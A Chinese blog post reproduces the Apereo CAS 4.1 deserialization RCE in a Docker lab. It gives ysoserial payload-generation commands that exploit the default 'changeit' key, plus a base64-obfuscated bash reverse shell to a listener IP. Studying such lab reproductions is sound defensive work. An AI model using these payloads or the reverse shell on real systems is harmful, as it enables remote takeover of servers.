Apereo-CAS rce

Apereo-CAS 4.1 反序列化命令执行漏洞

漏洞描述

  1. 漏洞编号:Apereo-CAS  4.1-rce
  2. 影响版本:Apereo-CAS  <= 4.1.7
  3. 漏洞产生原因:4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。

 

考链接:- https://apereo.github.io/2016/04/08/commonsvulndisc/

 

启动环境:docker-compose up -d

vulnIP:192.168.18.134

hackIP:192.168.18.216

nc监听IP:192.168.18.244

环境启动后,访问`http://192.168.18.134:8080/cas/login`即可查看到登录页面。

 

 

 

 

漏洞发现

关注Apereo CAS的版本

 

 

漏洞利用

漏洞原理实际上是Webflow中使用了默认密钥`changeit`

我们使用[Apereo-CAS-Attack](https://github.com/vulhub/Apereo-CAS-Attack)

https://github.com/vulhub/Apereo-CAS-Attack/releases/download/v1.0.0/apereo-cas-attack-1.0-SNAPSHOT-all.jar

来复现这个漏洞。使用ysoserialCommonsCollections4生成加密后的Payload

java -jar '.\apereo-cas-attack-1.0-SNAPSHOT-all (2).jar' CommonsCollections4 "touch /tmp/successcas"

 

 

然后我们登录CAS并抓包,将Body中的`execution`值替换成上面生成的Payload发送:

 

 

 

登录Apereo CAS,可见`touch /tmp/success`已成功执行:

 

 

将命令替换成弹shell语句再利用:

java -jar '.\apereo-cas-attack-1.0-SNAPSHOT-all (2).jar' CommonsCollections4 "bash -c {echo,YmFzaCAtaT4vZGV2L3RjcC8xOTIuMTY4LjE4LjI0NC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"

 

 

 

 

 

问题汇总

 

 

修复方案

打补丁,升级到最新版本~

 

 

2021-01-02 19:45:54

posted @ 2021-01-02 19:46  toby123  阅读(377)  评论(0编辑  收藏  举报